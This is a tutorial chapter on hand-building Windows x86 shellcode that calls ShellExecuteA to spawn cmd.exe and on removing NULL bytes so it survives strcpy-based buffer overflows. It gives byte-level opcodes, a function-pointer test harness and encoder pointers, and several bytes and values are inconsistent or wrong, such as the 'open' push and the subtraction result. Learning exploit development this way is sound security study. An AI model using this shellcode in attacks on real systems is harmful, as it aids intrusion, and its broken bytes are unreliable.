More Advanced Shellcode

6. More Advanced Shellcode

The function we are going to use to spawn the command prompt will be ShellExecute. We could have used a much simpler function such as WinExec, but ShellExecute will allow us to show a few important concept such as dealing with string parameters and parameters order.

The source code we are going to use is the following. This simple code will spawn a new command prompt and will maximize the window. Please refer to Microsoft library page for ShellExecute to understand the purpose of each parameter.

#include <windows.h>
int main(int argc, char** argv)
{
  ShellExecute(0,"open,"cmd", NULL,0,SW_MAXIMIZE);
}

Once we have the source code ready, we just need to compile it. If we inspect the program with Immunity Debugger we should see something like this:

PUSH EBP
MOV EBP, ESP
PUSH ECX
SUB ESP,24
CALL winexecs.02401EB0
MOV DWORD PTR SS:[ESP+14],3
MOV DWORD PTR SS:[ESP+10],0
MOV DWORD PTR SS:[ESP+C],0
MOV DWORD PTR SS:[ESP+8],winexecs.00404000
MOV DWORD PTR SS:[ESP+4],winexecs.00404004
MOV DWORD PTR SS:[ESP],0
MOV EAX,DWORD PTR DS: [<&SHELL32.ShellExecuteA>]
CALL EAX
SUB ESP,18

This code is quite similar to the previous one. Once the main function starts, it sets the stack frame and then it pushes the arguments needed for the ShellExecuteA call. Notice that ShellExecuteA is the ANSI name of the function that will be used.

6.1 Dealing With Parameters

The biggest difference from the previous example is that this time we have more parameters to push to the stack. Moreover, we will also have to deal with strings such as cmd and open. Dealing with strings means that we have to:

  1. Calculate their Hex value

  2. Push the string

  3. Push a pointer to the string into the stack

First, as you can see, the parameters are pushed in the reverse order. In the C++ source code, the first parameter is 0, while in the disassembled code, the instruction that pushes this parameter to the stack is the last one.

6.1.1 Dealing with Strings

The first thing to do is to convert the strings (cmd and open) that we will push into the stack.

In the compiled version of the program, these strings are taken from the .data section. As you can imagine, this is something that we cannot do while sending our shellcode (since the .data section will contain something different).

Therefore, we will have to push the strings to the stack and then pass a pointer to the string to the ShellExecutionA function (we cannot pass the string itself).

Things to remember when pushing the strings into the stack:

  • They must be exactly 4 byte aligned

  • They must be pushed in the reverse order

  • Strings must be terminated with \x00 Otherwise the function parameter will load all the data in the stack. String terminators introduce a problem with the NUll-free shellcode. Therefore if, the shellcode must run against string functions (such as strcpy), we will have to edit the shellcode and make it NULL-free. We will se this later on.

General Steps:

  1. Split the strings into groups of 4 characters Our string will be something like following:

"calc"
".exe"
  1. Reverse the order

".exe"
"calc"
  1. Convert to ASCII

"\x2e\x65\x78\x65"    => ".exe"
"\x63\x61\x6c\x63"    => "calc"
  1. Add PUSH bytecode

"\x68\x2e\x65\x78\x65"    // PUSH ".exe"
"\x68\x63\x61\x6c\x63"    // PUSH "calc"
  1. Terminate the String

"\x68\x20\x20\x20\x00"    // The \x00 is the terminator, while \x20 is SPACE
"\x68\x2e\x65\x78\x65"    // PUSH ".exe"
"\x68\x63\x61\x6c\x63"    // PUSH "calc"
  1. Save the String Pointer to Registers

"\x68\x20\x20\x20\x00"    // The \x00 is the terminator, while \x20 is SPACE
"\x68\x2e\x65\x78\x65"    // PUSH ".exe"
"\x68\x63\x61\x6c\x63"    // PUSH "calc"
"\x8B\xDC"                // MOV EBX, ESP

Tips:

6.1.2 Example

Example:

  1. We want to run : ShellExecute(0,"open,"cmd", NULL,0,SW_MAXIMIZE);

  • Pushing strings into registers

"\x68\x63\x6d\x64"       => PUSH "cmd"
"\x68\x6f\x70\x65\x6e"   => PUSH "open"
"\x68\x63\x6d\x64\x00"   => PUSH "cmd"
"\x6A\x00"               => Terminates "open"
"\x68\x6f\x70\x65\x6e"   => PUSH "open"

Since the ShellExecuteA function arguments require a pointer to these strings (and not the string itself), we will have tot save a pointer to each string using a register.

Therefore, after pushing the strings to the stack, we will save the current stack position into a register (such as EBX or ECX). Hence, it will point to the string itself

"\x68\x63\x6d\x64\x00"   // PUSH "cmd"
"\x8B\xDC"               // MOV EBX, ESP
"\x6A\x00"               // Terminates "open"
"\x68\x6f\x70\x65\x6e"   // PUSH "open"
"\x8B\xCC"               // MOV ECX, ESP
  • Pushing The Parameters Other than string we still need to pass four other parameters to the function: three of them are 0 while one is 3.

We have to push them in reverse order, in order to make the right stack. We will have to push 3 first, two zeros, our strings (cmd and open), and at the end, another zero.

We have many different ways t o push the integer value 3 to the stack. We can directly execute a PUSH 3 instruction, but we can also move the value into a register and then push the register itself.

We could also zero out a register and then the register 3 times, before pushing it to the stack. In our case, we will simply PUSH it to stack with the following instruction:

"\x6A\x03"            // PUSH 3

Now we have to push two zeros into the stack. To do this, we will zero out the EAX register, and then we will push it two times. The code will be the following:

"\x33\xC0"      // xor eax, eax
"\x50"          // PUSH EAX => pushes 0
"\x50"          // PUSH EAX => pushes 0

Now its time to push the strings.

"\x53"          // PUSH EBX
"\x51"          // PUSH ECX

Then we push the first parameter : 0

"\x50"          // PUSH EAX => pushes 0

All the parameters have been pushed in the correct order. We need to find and push the address of the ShellExecuteA function and then call it.

In order to find the address, you can use arwin

C:\>arwin.exe Shell32.dll ShellExecuteA

ShellexecuteeA is located at 0x762bd970 in Shell32.dll

We need to move this address to a register and then call it

"\xB8\x70\xD9\x2B\x76" // MOV EAX,762bd970
"\xFF\xD0"            // CALL EAX
  • Putting it all together ShellExecute(0,"open,"cmd", NULL,0,SW_MAXIMIZE);

"\x68\x63\x6d\x64\x00"   // PUSH "cmd"
"\x8B\xDC"               // MOV EBX, ESP
"\x6A\x00"               // Terminates "open"
"\x68\x6f\x70\x65\x6e"   // PUSH "open"
"\x8B\xCC"               // MOV ECX, ESP

"\x6A\x03"               // PUSH 3
"\x33\xC0"               // xor eax, eax
"\x50"                   // PUSH EAX => pushes 0
"\x50"                   // PUSH EAX => pushes 0
"\x53"                   // PUSH EBX
"\x51"                   // PUSH ECX
"\x50"                   // PUSH EAX => pushes 0

"\xB8\x70\xD9\x2B\x76" // MOV EAX,762bd970
"\xFF\xD0"            // CALL EAX
  • Testing We can test our shellcode by using the small C++ code provided before.

#include <windows.h>
char code[] =

;

int main(int argc, char **argv)
{
  LoadLibraryA("Shell32.dll");
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Notice that since the compiler does not automatically load the Shell32.dll library in the program, we have to force the program to load it with the instruction LoadLibraryA("Shell32.dll")

6.2 NULL-free shellcode

In the previous chapter, we created a shellcode that spawned a command prompt, but as you already know this isn't a NULL-free shellcode.

Therefore, if we try to use it against BOF vulnerability that uses a string function (such as strcpy), it will fail. This happens because when strcpy encounters the \x00 byte, it stops copying data to the stack.

Therefore, we have to find a way to make our shellcode NULL-free.

There are 2 main techniques that we can use:

  • We can manually edit the shellcode

  • We can encode and decode the shellcode

6.2.1 Manual Editing

Let's see how we can edit our shellcode in order to avoid the first string terminator (\x68\x63\x6d\x64**\x00**)

Solution Substract (or add) a specific value in order to remove 00.

Example For example let's say we substract 11111111 from 00646d63. We will obtain EF5335C52, which does not contain the string terminator.

Notice that instead of 11111111 we can use any value that does not contain 00 and that does not give a resulting value containing 00

Steps

  1. Move EF535C52 into a register

  2. Adds back 11111111 to the register (in order to obtain 00646d63)

  3. Push the value of the register on the stack

Result In the previous version of the shellcode, we had the following bytecode:

"\x68\x63\x6d\x64\x00"     // PUSH "cmd"
"\x8B\xDC"                 // MOV EBX, ESP

"\x6A\x00"                 // PUSH the string terminator
                           // for 'open'
"\x6B\x6F\x70\x65\x6E"     // PUSH "open"
"\x8B\xCC"                 // MOV ECX, ESP: puts pointer
                           // to open

The new bytecode (NULL-free) will be something like the following:

"\x33\xDB"                 // XOR EBX,EBX: zero out EBX
"\xBB\x52\x5C\x53\xEF"     // MOX EBX, EF535C52
"\x81\xC3\x11\x11\x11\x11" // ADD EBX, 11111111
                           // (now EBX contains 00646d63)
"\x53"                     // PUSH EBX
"\x8B\xDC"                 // MOV EBX, ESP : puts pointer
                           // to the string

"\x33\xC0"                 // XOR EAX, EAX: zero out EAX
"\x50"                     // PUSH EAX : push the
                           // string terminator
"\x6B\x6F\x70\x65\x6E"     // PUSH "open"
"\x8B\xCC"                 // MOV ECX, ESP: puts pointer
                           // to open

6.2.2 Encoder Tools

You can use msfvenom as an encoder tools to do this also

Last updated